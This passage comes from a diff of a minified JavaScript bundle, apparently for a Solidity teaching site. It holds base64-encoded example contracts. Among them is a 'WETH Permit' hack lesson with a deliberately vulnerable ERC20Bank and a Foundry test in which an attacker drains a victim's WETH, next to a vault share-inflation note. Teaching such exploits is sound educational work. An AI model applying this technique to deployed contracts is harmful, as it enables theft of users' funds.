OwogICAgICAgIHZhdWx0LmRlcG9zaXQoMTAwICogKDEwICoqIERFQ0lNQUxTKSk7CiAgICAgICAgcHJpbnQoKTsKICAgIH0KfQo="}],P2=`

              Vulnerability

              Vault shares can be inflated by donating ERC20 token to the vault.

              Attacker can exploit this behavior to steal other user's deposits.

              Example

              @@ -11309,7 +11309,7 @@ if the signer's intention was to approve a transaction once.

              print(); } } -`,$2=({prev:s,next:a})=>r.jsx(A,{version:T2,title:U2,description:L2,cyfrinLink:_2,html:P2,prev:s,next:a,codes:O2}),q2="0.8.26",sG="WETH Permit",aG="An example of WETH permit hack",nG="",lG=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmFic3RyYWN0IGNvbnRyYWN0IEVSQzIwIHsKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZX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sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgdWludDI1NiBhbGxvd2VkID0gYWxsb3dhbmNlW2Zyb21dW21zZy5zZW5kZXJdOwogICAgICAgIGlmIChhbGxvd2VkICE9IHR5cGUodWludDI1NikubWF4KSB7CiAgICAgICAgICAgIGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXSA9IGFsbG93ZWQgLSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNl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93bmVyLAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0b2tlbi5wZXJtaXQob3duZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudCwgZGVhZGxpbmUsIHYsIHIsIHMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShvd25lciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IF9hbW91bnQ7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgX2Ftb3VudCk7CiAgICB9Cn0K"},{fileName:"ERC20BankExploitTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHtXRVRIfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3Mvd2V0aC1wZXJtaXQvV0VUSC5zb2wiOwppbXBvcnQge0VSQzIwQmFua30gZnJvbSAiLi4vLi4vLi4vc3JjL2hhY2tzL3dldGgtcGVybWl0L0VSQzIwQmFuay5zb2wiOwoKY29udHJhY3QgRVJDMjBCYW5rRXhwbG9pdFRlc3QgaXMgVGVzdCB7CiAgICBXRVRIIHByaXZhdGUgd2V0aDsKICAgIEVSQzIwQmFuayBwcml2YXRlIGJhbms7CiA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ciIKICAgICAgICApOwogICAgfQp9Cg=="},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNyYywgYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIHNyYywgYWRkcmVzcyBpbmRleGVkIGRzdCwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7Cn0K"},{fileName:"IERC20Permit.sol",code:"Ly8gU1BEWC1Ma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gZXh0ZXJuYWwgewogICAgICAgIF9idXJuKG1zZy5zZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihhbW91bnQpOwogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="}],pG=`

              Vulnerability

              +`,$2=({prev:s,next:a})=>r.jsx(A,{version:T2,title:L2,description:U2,cyfrinLink:_2,html:P2,prev:s,next:a,codes:O2}),q2="0.8.26",sG="WETH Permit",aG="An example of WETH permit hack",nG="",lG=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmFic3RyYWN0IGNvbnRyYWN0IEVSQzIwIHsKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgYW1vdW50KTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50CiAgICApOwoKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKICAgIHN0cmluZyBwdWJsaWMgc3ltYm9sOwogICAgdWludDggcHVibGljIGltbXV0YWJsZSBkZWNpbWFsczsKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIGFsbG93YW5jZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aXJ0dWFsCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICBhbGxvd2FuY2VbbXNnLnNlbmRlcl1bc3BlbmRlcl0gPSBhbW91bnQ7CiAgICAgICAgZW1pdCBBcHByb3ZhbChtc2cuc2VuZGVyLCBzcGVuZGVyLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgdWludDI1NiBhbGxvd2VkID0gYWxsb3dhbmNlW2Zyb21dW21zZy5zZW5kZXJdOwogICAgICAgIGlmIChhbGxvd2VkICE9IHR5cGUodWludDI1NikubWF4KSB7CiAgICAgICAgICAgIGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXSA9IGFsbG93ZWQgLSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIGZyb20sIHVpbnQyNTYgYW1vdW50KSBpbnRlcm5hbCB2aXJ0dWFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2Zlcihmcm9tLCBhZGRyZXNzKDApLCBhbW91bnQpOwogICAgfQp9Cg=="},{fileName:"ERC20Bank.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9JRVJDMjBQZXJtaXQuc29sIjsKCmNvbnRyYWN0IEVSQzIwQmFuayB7CiAgICBJRVJDMj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MgewogICAgICAgIHVpbnQyNTYgYmFsID0gd2V0aC5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0uc3RhcnRQcmFuayhhdHRhY2tlcik7CiAgICAgICAgYmFuay5kZXBvc2l0V2l0aFBlcm1pdCh1c2VyLCBhdHRhY2tlciwgYmFsLCAwLCAwLCAiIiwgIiIpOwogICAgICAgIGJhbmsud2l0aGRyYXcoYmFsKTsKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKCiAgICAgICAgYXNzZXJ0RXEod2V0aC5iYWxhbmNlT2YodXNlciksIDAsICJXRVRIIGJhbGFuY2Ugb2YgdXNlciIpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKGF0dGFja2VyKSksCiAgICAgICAgICAgIDk5ICogMWUxOCwKICAgICAgICAgICAgIldFVEggYmFsYW5jZSBvZiBhdHRhY2tlciIKICAgICAgICApOwogICAgfQp9Cg=="},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNyYywgYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIHNyYywgYWRkcmVzcyBpbmRleGVkIGRzdCwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7Cn0K"},{fileName:"IERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsOwp9Cg=="},{fileName:"WETH.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgV0VUSCBpcyBFUkMyMCB7CiAgICBldmVudCBEZXBvc2l0KGFkZHJlc3MgaW5kZXhlZCBhY2NvdW50LCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBXaXRoZHJhdyhhZGRyZXNzIGluZGV4ZWQgYWNjb3VudCwgdWludDI1NiBhbW91bnQpOwoKICAgIGNvbnN0cnVjdG9yKCkgRVJDMjAoIldyYXBwZWQgRXRoZXIiLCAiV0VUSCIsIDE4KSB7fQoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZGVwb3NpdCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgICAgICBlbWl0IERlcG9zaXQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKG1zZy5zZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihhbW91bnQpOwogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="}],pG=`

              Vulnerability

              Most ERC20 have the permit function to approve a spender if a valid signature is provided.

              However WETH does not. Surprisingly, when permit is called on WETH, the function call will execute without any errors.

              This is because the fallback inside WETH is execute when permit is called.

              @@ -11748,7 +11748,7 @@ F D,E return super.foo(); } } -`,UG=({prev:s,next:a})=>r.jsx(A,{version:JG,title:zG,description:DG,cyfrinLink:EG,html:TG,prev:s,next:a,codes:QG}),LG="0.8.26",_G="Interface",OG="An example of interface in Solidity",PG="https://www.cyfrin.io/glossary/interface-solidity-code-example",$G=[{fileName:"Interface.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5jdGlvbiBjb3VudCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IE15Q29udHJhY3QgewogICAgZnVuY3Rpb24gaW5jcmVtZW50Q291bnRlcihhZGRyZXNzIF9jb3VudGVyKSBleHRlcm5hbCB7CiAgICAgICAgSUNvdW50ZXIoX2NvdW50ZXIpLmluY3JlbWVudCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldENvdW50KGFkZHJlc3MgX2NvdW50ZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBJQ291bnRlcihfY291bnRlcikuY291bnQoKTsKICAgIH0KfQoKLy8gVW5pc3dhcCBleGFtcGxlCmludGVyZmFjZSBVbmlzd2FwVjJGYWN0b3J5IHsKICAgIGZ1bmN0aW9uIGdldFBhaXIoYWRkcmVzcyB0b2tlbkEsIGFkZHJlc3MgdG9rZW5CKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MgcGFpcik7Cn0KCmludGVyZmFjZSBVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIGdldFJlc2VydmVzKCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MTEyIHJlc2VydmUwLCB1aW50MTEyIHJlc2VydmUxLCB1aW50MzIgYmxvY2tUaW1lc3RhbXBMYXN0KTsKfQoKY29udHJhY3QgVW5pc3dhcEV4YW1wbGUgewogICAgYWRkcmVzcyBwcml2YXRlIGZhY3RvcnkgPSAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgZGFpID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIHdldGggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gZ2V0VG9rZW5SZXNlcnZlcygpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NiwgdWludDI1NikgewogICAgICAgIGFkZHJlc3MgcGFpciA9IFVuaXN3YXBWMkZhY3RvcnkoZmFjdG9yeSkuZ2V0UGFpcihkYWksIHdldGgpOwogICAgICAgICh1aW50MjU2IHJlc2VydmUwLCB1aW50MjU2IHJlc2VydmUxLCkgPQogICAgICAgICAgICBVbmlzd2FwVjJQYWlyKHBhaXIpLmdldFJlc2VydmVzKCk7CiAgICAgICAgcmV0dXJuIChyZXNlcnZlMCwgcmVzZXJ2ZTEpOwogICAgfQp9Cg=="}],qG=`

              You can interact with other contracts by declaring an Interface.

              +`,LG=({prev:s,next:a})=>r.jsx(A,{version:JG,title:zG,description:DG,cyfrinLink:EG,html:TG,prev:s,next:a,codes:QG}),UG="0.8.26",_G="Interface",OG="An example of interface in Solidity",PG="https://www.cyfrin.io/glossary/interface-solidity-code-example",$G=[{fileName:"Interface.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gaW5jcmVtZW50KCkgZXh0ZXJuYWwgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9Cn0KCmludGVyZmFjZSBJQ291bnRlciB7CiAgICBmdW5j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OwogICAgYWRkcmVzcyBwcml2YXRlIHdldGggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gZ2V0VG9rZW5SZXNlcnZlcygpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NiwgdWludDI1NikgewogICAgICAgIGFkZHJlc3MgcGFpciA9IFVuaXN3YXBWMkZhY3RvcnkoZmFjdG9yeSkuZ2V0UGFpcihkYWksIHdldGgpOwogICAgICAgICh1aW50MjU2IHJlc2VydmUwLCB1aW50MjU2IHJlc2VydmUxLCkgPQogICAgICAgICAgICBVbmlzd2FwVjJQYWlyKHBhaXIpLmdldFJlc2VydmVzKCk7CiAgICAgICAgcmV0dXJuIChyZXNlcnZlMCwgcmVzZXJ2ZTEpOwogICAgfQp9Cg=="}],qG=`

              You can interact with other contracts by declaring an Interface.

              Interface

              • cannot have any functions implemented
              • @@ -11811,7 +11811,7 @@ F D,E return (reserve0, reserve1); } } -`,sB=({prev:s,next:a})=>r.jsx(A,{version:LG,title:_G,description:OG,cyfrinLink:PG,html:qG,prev:s,next:a,codes:$G}),aB="0.8.26",nB="Library",lB="Example of how to write and use libraries in your Solidity code",pB="https://www.cyfrin.io/glossary/library-solidity-code-example",eB=[{fileName:"Library.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmxpYnJhcnkgTWF0aCB7CiAgICBmdW5jdGlvbiBzcXJ0KHVpbnQyNTYgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIH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AgICAgICAgYXJyLnB1c2goaSk7CiAgICAgICAgfQoKICAgICAgICBhcnIucmVtb3ZlKDEpOwoKICAgICAgICBhc3NlcnQoYXJyLmxlbmd0aCA9PSAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K"}],cB=`

                Libraries are similar to contracts, but you can't declare any state variable and +`,sB=({prev:s,next:a})=>r.jsx(A,{version:UG,title:_G,description:OG,cyfrinLink:PG,html:qG,prev:s,next:a,codes:$G}),aB="0.8.26",nB="Library",lB="Example of how to write and use libraries in your Solidity code",pB="https://www.cyfrin.io/glossary/library-solidity-code-example",eB=[{fileName:"Library.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmxpYnJhcnkgTWF0aCB7CiAgICBmdW5jdGlvbiBzcXJ0KHVpbnQyNTYgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICAgICAgLy8gZWxzZSB6ID0gMCAoZGVmYXVsdCB2YWx1ZSkKICAgIH0KfQoKY29udHJhY3QgVGVzdE1hdGggewogICAgZnVuY3Rpb24gdGVzdFNxdWFyZVJvb3QodWludDI1NiB4KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIE1hdGguc3FydCh4KTsKICAgIH0KfQoKLy8gQXJyYXkgZnVuY3Rpb24gdG8gZGVsZXRlIGVsZW1lbnQgYXQgaW5kZXggYW5kIHJlLW9yZ2FuaXplIHRoZSBhcnJheQovLyBzbyB0aGF0IHRoZXJlIGFyZSBubyBnYXBzIGJldHdlZW4gdGhlIGVsZW1lbnRzLgpsaWJyYXJ5IEFycmF5IHsKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2W10gc3RvcmFnZSBhcnIsIHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIHJlcXVpcmUoYXJyLmxlbmd0aCA+IDAsICJDYW4ndCByZW1vdmUgZnJvbSBlbXB0eSBhcnJheSIpOwogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIGFyci5wb3AoKTsKICAgIH0KfQoKY29udHJhY3QgVGVzdEFycmF5IHsKICAgIHVzaW5nIEFycmF5IGZvciB1aW50MjU2W107CgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gdGVzdEFycmF5UmVtb3ZlKCkgcHVibGljIHsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCAzOyBpKyspIHsKICAgICAgICAgICAgYXJyLnB1c2goaSk7CiAgICAgICAgfQoKICAgICAgICBhcnIucmVtb3ZlKDEpOwoKICAgICAgICBhc3NlcnQoYXJyLmxlbmd0aCA9PSAyKTsKICAgICAgICBhc3NlcnQoYXJyWzBdID09IDApOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICB9Cn0K"}],cB=`

                Libraries are similar to contracts, but you can't declare any state variable and you can't send ether.

                A library is embedded into the contract if all library functions are internal.

                Otherwise the library must be deployed and then linked before the contract is deployed.

                @@ -12105,7 +12105,7 @@ you can't send ether.

